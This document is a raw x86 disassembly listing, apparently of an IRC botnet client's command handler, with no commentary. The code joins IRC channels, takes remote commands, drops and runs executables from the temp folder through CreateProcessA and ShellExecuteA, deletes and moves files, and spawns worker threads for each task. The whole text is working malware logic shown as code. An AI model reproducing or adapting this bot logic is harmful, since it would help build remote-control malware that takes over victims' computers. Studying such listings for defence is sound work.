call sub_41588A
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_6BC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_84C], eax
lea eax, [ebp+var_748]
push esi
push eax
call sub_41588A
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
push edi
push offset unk_434F1C
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 0Dh
push eax
call sub_414DDA
add esp, 38h
mov [ebp+var_6C8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_84C]
push ebx
push eax
push offset sub_401444
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6C8]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4107A5
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434ED0
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_41079D: ; CODE XREF: sub_40CD3A+3A71j
push 32h
call dword_421060 ; Sleep
loc_4107A5: ; CODE XREF: sub_40CD3A+3A50j
cmp [ebp+var_6B0], ebx
jz short loc_41079D
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_4107B2: ; CODE XREF: sub_40CD3A+3999j
push offset unk_434E80
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_4107BC: ; CODE XREF: sub_40CD3A+239Aj
; sub_40CD3A+23B1j
push [ebp+arg_18]
push edi
call dword_421134 ; MoveFileA
test eax, eax
jz short loc_4107E9
push [ebp+arg_18]
lea eax, [ebp+var_2D8]
push edi
push offset unk_434E44
push 200h
push eax
call sub_41588A
jmp loc_411FAB
; ---------------------------------------------------------------------------
loc_4107E9: ; CODE XREF: sub_40CD3A+3A8Ej
push offset dword_434E24
call sub_409B27
push eax
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
add esp, 10h
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_41080D: ; CODE XREF: sub_40CD3A+236Cj
; sub_40CD3A+2383j
push edi
lea eax, [ebp+var_13A0]
push 104h
push eax
call sub_41588A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_410847
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_410847
push eax
lea eax, [ebp+var_129C]
push eax
call sub_415316
pop ecx
pop ecx
loc_410847: ; CODE XREF: sub_40CD3A+3AEBj
; sub_40CD3A+3AFCj
push [ebp+var_8C]
lea eax, [ebp+var_1420]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
mov [ebp+var_1424], eax
mov eax, [ebp+var_4]
mov [ebp+var_1194], eax
mov eax, [ebp+var_8]
mov [ebp+var_1190], eax
lea eax, [ebp+var_129C]
push eax
lea eax, [ebp+var_13A0]
push eax
push offset unk_434DE0
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 1Bh
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_1198], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1424]
push ebx
push eax
push offset sub_4086B2
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1198]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_41090C
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434D90
loc_4108F0: ; CODE XREF: sub_40CD3A+A55j
; sub_40CD3A+A7Bj ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_410904: ; CODE XREF: sub_40CD3A+3BD8j
push 32h
call dword_421060 ; Sleep
loc_41090C: ; CODE XREF: sub_40CD3A+3BA8j
cmp [ebp+var_118C], ebx
jz short loc_410904
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_410919: ; CODE XREF: sub_40CD3A+233Ej
; sub_40CD3A+2355j
push 44h
lea eax, [ebp+var_31C]
pop esi
push esi
push ebx
push eax
call sub_415390
mov [ebp+var_31C], esi
xor esi, esi
inc esi
push edi
mov [ebp+var_2F0], esi
mov word ptr [ebp+var_2EC], bx
call sub_41587F
add esp, 10h
cmp eax, esi
jnz short loc_410956
mov word ptr [ebp+var_2EC], 5
loc_410956: ; CODE XREF: sub_40CD3A+3C11j
cmp [ebp+var_C], ebx
jz loc_40F526
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40F526
lea eax, [ebp+var_970]
push eax
lea eax, [ebp+var_31C]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_4210EC ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2D8]
jnz short loc_4109A7
push offset unk_434D58
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_4109A7: ; CODE XREF: sub_40CD3A+3C61j
push edi
push offset dword_434D2C
jmp loc_40F51D
; ---------------------------------------------------------------------------
loc_4109B2: ; CODE XREF: sub_40CD3A+2310j
; sub_40CD3A+2327j
push [ebp+arg_18]
push offset aIds99 ; "ids99"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410B25
lea eax, [ebp+var_A80]
push eax
push 104h
call dword_4210F8 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_D34]
push edi
push eax
call sub_416BE0
lea eax, [ebp+var_97C]
push eax
call sub_413FA0
push eax
lea eax, [ebp+var_A80]
push eax
lea eax, [ebp+var_C34]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_415316
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_B30], 1
mov [ebp+var_B2C], ebx
jz short loc_410A44
push 10h
push ebx
push eax
call sub_416930
add esp, 0Ch
mov [ebp+var_B24], eax
jmp short loc_410A4A
; ---------------------------------------------------------------------------
loc_410A44: ; CODE XREF: sub_40CD3A+3CF4j
mov [ebp+var_B24], ebx
loc_410A4A: ; CODE XREF: sub_40CD3A+3D08j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_410A64
push esi
call sub_41587F
pop ecx
mov [ebp+var_B28], eax
jmp short loc_410A6A
; ---------------------------------------------------------------------------
loc_410A64: ; CODE XREF: sub_40CD3A+3D19j
mov [ebp+var_B28], ebx
loc_410A6A: ; CODE XREF: sub_40CD3A+3D28j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_B20], eax
lea eax, [ebp+var_DB4]
mov [ebp+var_DB8], esi
push eax
call sub_416BE0
mov eax, [ebp+var_4]
push edi
mov [ebp+var_B18], eax
mov eax, [ebp+var_8]
mov [ebp+var_B1C], eax
lea eax, [ebp+var_2D8]
push offset unk_434CE0
push eax
call sub_415316
push esi
lea eax, [ebp+var_2D8]
push 16h
push eax
call sub_414DDA
add esp, 24h
mov [ebp+var_B34], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_DB8]
push ebx
push eax
push offset sub_40BBF7
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_B34]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_410B18
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434C90
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_410B10: ; CODE XREF: sub_40CD3A+3DE4j
push 32h
call dword_421060 ; Sleep
loc_410B18: ; CODE XREF: sub_40CD3A+3DC3j
cmp [ebp+var_B14], ebx
jz short loc_410B10
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_410B25: ; CODE XREF: sub_40CD3A+3C89j
push offset unk_434C38
jmp loc_40EDBE
; ---------------------------------------------------------------------------
loc_410B2F: ; CODE XREF: sub_40CD3A+22E2j
; sub_40CD3A+22F9j
push [ebp+var_90]
push offset dword_436AD8
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D18F
cmp [ebp+var_C], ebx
jz loc_40D18F
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_434C24
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416BE0
push edi
call sub_41587F
add esp, 30h
test eax, eax
jle short loc_410BB6
push edi
call sub_41587F
imul eax, 3E8h
pop ecx
push eax
call dword_421060 ; Sleep
loc_410BB6: ; CODE XREF: sub_40CD3A+3E66j
push offset dword_434BFC
call sub_40B078
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_410BCA: ; CODE XREF: sub_40CD3A+22B4j
; sub_40CD3A+22CBj
push [ebp+var_90]
push offset dword_436AD8
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D18F
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_415730
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2D8]
jz short loc_410C86
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_434C24
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416BE0
push esi
lea eax, [ebp+var_2D8]
push offset dword_434BC8
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
push edi
call sub_41587F
add esp, 38h
test eax, eax
jle loc_412818
push edi
call sub_41587F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_410C86: ; CODE XREF: sub_40CD3A+3EDBj
push offset dword_434B80
push eax
call sub_415316
add esp, 0Ch
jmp loc_411212
; ---------------------------------------------------------------------------
loc_410C99: ; CODE XREF: sub_40CD3A+2286j
; sub_40CD3A+229Dj
push [ebp+arg_18]
lea eax, [ebp+var_2D8]
push offset dword_434B78
push eax
call sub_415316
push edi
call sub_41587F
add esp, 10h
loc_410CB6: ; CODE XREF: sub_40CD3A+3FE3j
test eax, eax
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
loc_410CD0: ; CODE XREF: sub_40CD3A+48B9j
lea eax, [ebp+var_2D8]
push eax
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call sub_412B8B
jmp loc_412492
; ---------------------------------------------------------------------------
loc_410CF9: ; CODE XREF: sub_40CD3A+2258j
; sub_40CD3A+226Fj
push [ebp+esi+var_88]
lea eax, [ebp+var_2D8]
push [ebp+arg_18]
push offset dword_434B6C
push eax
call sub_415316
push edi
call sub_41587F
add esp, 14h
jmp short loc_410CB6
; ---------------------------------------------------------------------------
loc_410D1F: ; CODE XREF: sub_40CD3A+222Aj
; sub_40CD3A+2241j
push [ebp+arg_18]
lea eax, [ebp+var_2D8]
push offset dword_434B64
push eax
call sub_415316
push edi
call sub_41587F
add esp, 10h
test eax, eax
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
lea eax, [ebp+var_2D8]
push eax
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call sub_412B8B
push [ebp+arg_18]
push edi
push offset dword_434B34
loc_410D83: ; CODE XREF: sub_40CD3A+40D0j
; sub_40CD3A+413Bj ...
call sub_40B0EC
jmp loc_41216C
; ---------------------------------------------------------------------------
loc_410D8D: ; CODE XREF: sub_40CD3A+21FCj
; sub_40CD3A+2213j
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410DBE
push esi
lea eax, [ebp+var_2D8]
push offset dword_434B2C
push eax
call sub_415316
add esp, 0Ch
loc_410DBE: ; CODE XREF: sub_40CD3A+406Dj
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
lea eax, [ebp+var_2D8]
push eax
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call sub_412B8B
push esi
push edi
push offset dword_434AFC
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_410E0F: ; CODE XREF: sub_40CD3A+21CEj
; sub_40CD3A+21E5j
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push esi
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call sub_412B8B
push esi
push edi
push offset dword_434ACC
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_410E7A: ; CODE XREF: sub_40CD3A+21A0j
; sub_40CD3A+21B7j
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push esi
push offset dword_434A90
jmp loc_4117D1
; ---------------------------------------------------------------------------
loc_410EB1: ; CODE XREF: sub_40CD3A+2172j
; sub_40CD3A+2189j
push [ebp+var_90]
push offset dword_436AD8
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D18F
push [ebp+arg_18]
push offset dword_434A84
push [ebp+arg_4]
call sub_412B8B
push edi
call sub_41587F
imul eax, 3E8h
add esp, 10h
push eax
call dword_421060 ; Sleep
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_434A5C
call sub_40B078
jmp loc_4117D6
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: sub_40CD3A+2144j
; sub_40CD3A+215Bj
cmp [ebp+var_C], ebx
jz loc_412818
push edi
call sub_415B10
push [ebp+arg_8]
mov esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_412818
push esi
lea eax, [ebp+var_2D8]
push offset dword_435320
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_412BD1
push esi
push edi
push offset dword_434A2C
call sub_40B0EC
add esp, 2Ch
jmp loc_412818
; ---------------------------------------------------------------------------
loc_410F85: ; CODE XREF: sub_40CD3A+2116j
; sub_40CD3A+212Dj
cmp [ebp+var_C], ebx
jz loc_412818
push edi
call sub_415B10
push [ebp+arg_8]
mov esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_412818
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_412BD1
push esi
push edi
push offset dword_4349FC
call sub_40B0EC
loc_410FD3: ; CODE XREF: sub_40CD3A+2E76j
add esp, 20h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_410FDB: ; CODE XREF: sub_40CD3A+20E8j
; sub_40CD3A+20FFj
cmp [ebp+var_C], ebx
jz loc_40D18F
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D18F
push eax
push edi
call sub_40AF80
push edi
lea eax, [ebp+var_2D8]
push offset dword_4349CC
push eax
call sub_415316
add esp, 14h
jmp loc_40F5D2
; ---------------------------------------------------------------------------
loc_41101A: ; CODE XREF: sub_40CD3A+20A8j
; sub_40CD3A+20BFj
push edi
push [ebp+arg_1C]
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz loc_412818
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4110B1
push esi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2D8]
jz short loc_41109F
push esi
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_434C24
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416BE0
push esi
push edi
lea eax, [ebp+var_2D8]
push offset dword_434994
push eax
call sub_415316
add esp, 34h
inc [ebp+arg_24]
jmp loc_411233
; ---------------------------------------------------------------------------
loc_41109F: ; CODE XREF: sub_40CD3A+4313j
push offset dword_434950
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_411233
; ---------------------------------------------------------------------------
loc_4110B1: ; CODE XREF: sub_40CD3A+42FCj
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AC8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push edi
push offset dword_434924
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
add esp, 24h
jmp loc_411233
; ---------------------------------------------------------------------------
loc_4110F8: ; CODE XREF: sub_40CD3A+1AFFj
; sub_40CD3A+1B16j
push offset aR ; "r"
push edi
call sub_415A08
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_411172
mov ebx, 200h
push esi
lea eax, [ebp+var_2D8]
push ebx
push eax
call sub_416FDC
add esp, 0Ch
jmp short loc_41114E
; ---------------------------------------------------------------------------
loc_411123: ; CODE XREF: sub_40CD3A+4416j
push 1
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push esi
lea eax, [ebp+var_2D8]
push ebx
push eax
call sub_416FDC
add esp, 20h
loc_41114E: ; CODE XREF: sub_40CD3A+43E7j
test eax, eax
jnz short loc_411123
push esi
call sub_415960
push edi
lea eax, [ebp+var_2D8]
push offset dword_4348EC
push eax
call sub_415316
add esp, 10h
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_411172: ; CODE XREF: sub_40CD3A+43CFj
push edi
push offset dword_4348B8
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_41117D: ; CODE XREF: sub_40CD3A+1AD1j
; sub_40CD3A+1AE8j
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push offset asc_426CF0 ; "\n"
push esi
call sub_415A30
push esi
call sub_40A506
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2D8]
jnz short loc_4111C0
push offset dword_434878
jmp short loc_41120A
; ---------------------------------------------------------------------------
loc_4111C0: ; CODE XREF: sub_40CD3A+447Dj
push esi
push offset dword_43484C
push eax
call sub_415316
add esp, 0Ch
jmp short loc_411233
; ---------------------------------------------------------------------------
loc_4111D1: ; CODE XREF: sub_40CD3A+1AA3j
; sub_40CD3A+1ABAj
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_412818
push eax
call sub_409BEC
test eax, eax
pop ecx
lea eax, [ebp+var_2D8]
jnz short loc_411205
push offset unk_43481C
jmp short loc_41120A
; ---------------------------------------------------------------------------
loc_411205: ; CODE XREF: sub_40CD3A+44C2j
push offset dword_4347EC
loc_41120A: ; CODE XREF: sub_40CD3A+4484j
; sub_40CD3A+44C9j
push eax
call sub_415316
pop ecx
pop ecx
loc_411212: ; CODE XREF: sub_40CD3A+3F5Aj
cmp [ebp+var_8], ebx
jnz short loc_411233
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_411233: ; CODE XREF: sub_40CD3A+4360j
; sub_40CD3A+4372j ...
lea eax, [ebp+var_2D8]
push eax
loc_41123A: ; CODE XREF: sub_40CD3A+164Aj
call sub_40B078
pop ecx
jmp loc_412818
; ---------------------------------------------------------------------------
loc_411245: ; CODE XREF: sub_40CD3A+1A75j
; sub_40CD3A+1A8Cj
push 7Fh
lea eax, [ebp+var_1824]
push edi
push eax
call sub_416BE0
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_411274
push 7Fh
lea eax, [ebp+var_17A4]
push esi
push eax
call sub_416BE0
add esp, 0Ch
loc_411274: ; CODE XREF: sub_40CD3A+4526j
push 7Fh
lea eax, [ebp+var_1724]
push [ebp+var_8C]
push eax
call sub_416BE0
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_1828], eax
mov eax, [ebp+var_8]
mov [ebp+var_16A0], eax
mov eax, [ebp+var_4]
mov [ebp+var_169C], eax
lea eax, [ebp+var_2D8]
push offset dword_4347C0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 14h
push eax
call sub_414DDA
add esp, 24h
mov [ebp+var_16A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1828]
push ebx
push eax
push offset sub_40AD52
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_16A4]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_411324
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434770
loc_411308: ; CODE XREF: sub_40CD3A+562Cj
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_41131C: ; CODE XREF: sub_40CD3A+45F0j
push 32h
call dword_421060 ; Sleep
loc_411324: ; CODE XREF: sub_40CD3A+45C0j
cmp [ebp+var_1698], ebx
jz short loc_41131C
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_411331: ; CODE XREF: sub_40CD3A+1A47j
; sub_40CD3A+1A5Ej
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_4062F7
push edi
push offset dword_434744
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_41134C: ; CODE XREF: sub_40CD3A+1A19j
; sub_40CD3A+1A30j
push 14h
lea eax, [ebp+var_858]
push ebx
push eax
call sub_415390
push edi
lea eax, [ebp+var_844]
push offset aS_1 ; "%s"
push eax
call sub_415316
mov eax, [ebp+arg_4]
mov [ebp+var_860], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_740]
push 80h
push eax
call sub_41588A
mov eax, [ebp+var_4]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
lea eax, [ebp+var_740]
push eax
lea eax, [ebp+var_844]
push eax
lea eax, [ebp+var_2D8]
push offset dword_43470C
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 12h
push eax
call sub_414DDA
add esp, 40h
mov [ebp+var_6BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40B61A
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6BC]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_41141F
loc_411406: ; CODE XREF: sub_40CD3A+79Dj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4346C0
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_411417: ; CODE XREF: sub_40CD3A+46EBj
push 32h
call dword_421060 ; Sleep
loc_41141F: ; CODE XREF: sub_40CD3A+46CAj
cmp [ebp+var_6B0], ebx
jz short loc_411417
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_41142C: ; CODE XREF: sub_40CD3A+19EBj
; sub_40CD3A+1A02j
push edi
call dword_421118 ; DeleteFileA
test eax, eax
jz short loc_41143F
push edi
push offset dword_434690
jmp short loc_41144A
; ---------------------------------------------------------------------------
loc_41143F: ; CODE XREF: sub_40CD3A+46FBj
push offset dword_434E24
call sub_409B27
push eax
loc_41144A: ; CODE XREF: sub_40CD3A+4703j
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
loc_41145B: ; CODE XREF: sub_40CD3A+47E5j
add esp, 10h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_411463: ; CODE XREF: sub_40CD3A+19BDj
; sub_40CD3A+19D4j
push edi
call sub_41587F
push eax
call sub_413EDB
xor esi, esi
pop ecx
inc esi
pop ecx
cmp eax, esi
push edi
lea eax, [ebp+var_2D8]
jnz short loc_411486
push offset dword_434658
jmp short loc_41148B
; ---------------------------------------------------------------------------
loc_411486: ; CODE XREF: sub_40CD3A+4743j
push offset dword_434610
loc_41148B: ; CODE XREF: sub_40CD3A+474Aj
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_40F54A
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
jmp loc_40F54A
; ---------------------------------------------------------------------------
loc_4114BE: ; CODE XREF: sub_40CD3A+198Fj
; sub_40CD3A+19A6j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_413C50
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4114E0
push offset dword_4345D4
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_4114E0: ; CODE XREF: sub_40CD3A+479Aj
push offset dword_434590
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_4114EA: ; CODE XREF: sub_40CD3A+1961j
; sub_40CD3A+1978j
push edi
call dword_43CA64 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_411524
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_43C9DC ; gethostbyaddr
cmp eax, ebx
jz short loc_41153F
push dword ptr [eax]
loc_41150D: ; CODE XREF: sub_40CD3A+4803j
push edi
lea eax, [ebp+var_2D8]
push offset dword_434560
push eax
call sub_415316
jmp loc_41145B
; ---------------------------------------------------------------------------
loc_411524: ; CODE XREF: sub_40CD3A+47BDj
push edi
call dword_43CAA8 ; gethostbyname
cmp eax, ebx
jz short loc_41153F
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_43CAB0 ; inet_ntoa
push eax
jmp short loc_41150D
; ---------------------------------------------------------------------------
loc_41153F: ; CODE XREF: sub_40CD3A+47CFj
; sub_40CD3A+47F3j
push offset dword_434524
jmp loc_40EDBE
; ---------------------------------------------------------------------------
loc_411549: ; CODE XREF: sub_40CD3A+1933j
; sub_40CD3A+194Aj
push 7Fh
push edi
push [ebp+arg_14]
call sub_416BE0
push edi
lea eax, [ebp+var_2D8]
push offset dword_4344EC
push eax
call sub_415316
add esp, 18h
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_41156E: ; CODE XREF: sub_40CD3A+1905j
; sub_40CD3A+191Cj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_43C998 ; ShellExecuteA
test eax, eax
push edi
jz short loc_41158E
push offset unk_4344BC
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_41158E: ; CODE XREF: sub_40CD3A+4848j
push offset unk_434484
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_411598: ; CODE XREF: sub_40CD3A+18D7j
; sub_40CD3A+18EEj
mov al, [edi]
mov byte_42C258, al
movsx eax, byte ptr [edi]
push eax
push offset dword_43444C
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_4115AD: ; CODE XREF: sub_40CD3A+18A9j
; sub_40CD3A+18C0j
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_414278
push eax
lea eax, [ebp+var_2D8]
push offset dword_434B64
push eax
call sub_415316
add esp, 1Ch
jmp loc_410CD0
; ---------------------------------------------------------------------------
loc_4115F8: ; CODE XREF: sub_40CD3A+187Bj
; sub_40CD3A+1892j
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_40D18F
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_40D18F
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call sub_412B8B
pop ecx
pop ecx
push 1F4h
call dword_421060 ; Sleep
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call dword_43CABC ; closesocket
push [ebp+var_10]
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BAC[eax]
call dword_421130 ; TerminateThread
push edi
call sub_41587F
imul eax, 234h
push edi
mov dword_441BAC[eax], ebx
call sub_41587F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_441998[eax], bl
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_4116A3: ; CODE XREF: sub_40CD3A+184Dj
; sub_40CD3A+1864j
push edi
push offset aAll ; "all"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4116D2
call sub_414F9D
cmp eax, ebx
jle short loc_4116C8
push eax
push offset dword_4343FC
jmp loc_40F5C3
; ---------------------------------------------------------------------------
loc_4116C8: ; CODE XREF: sub_40CD3A+4981j
push offset dword_4343C0
jmp loc_411EB9
; ---------------------------------------------------------------------------
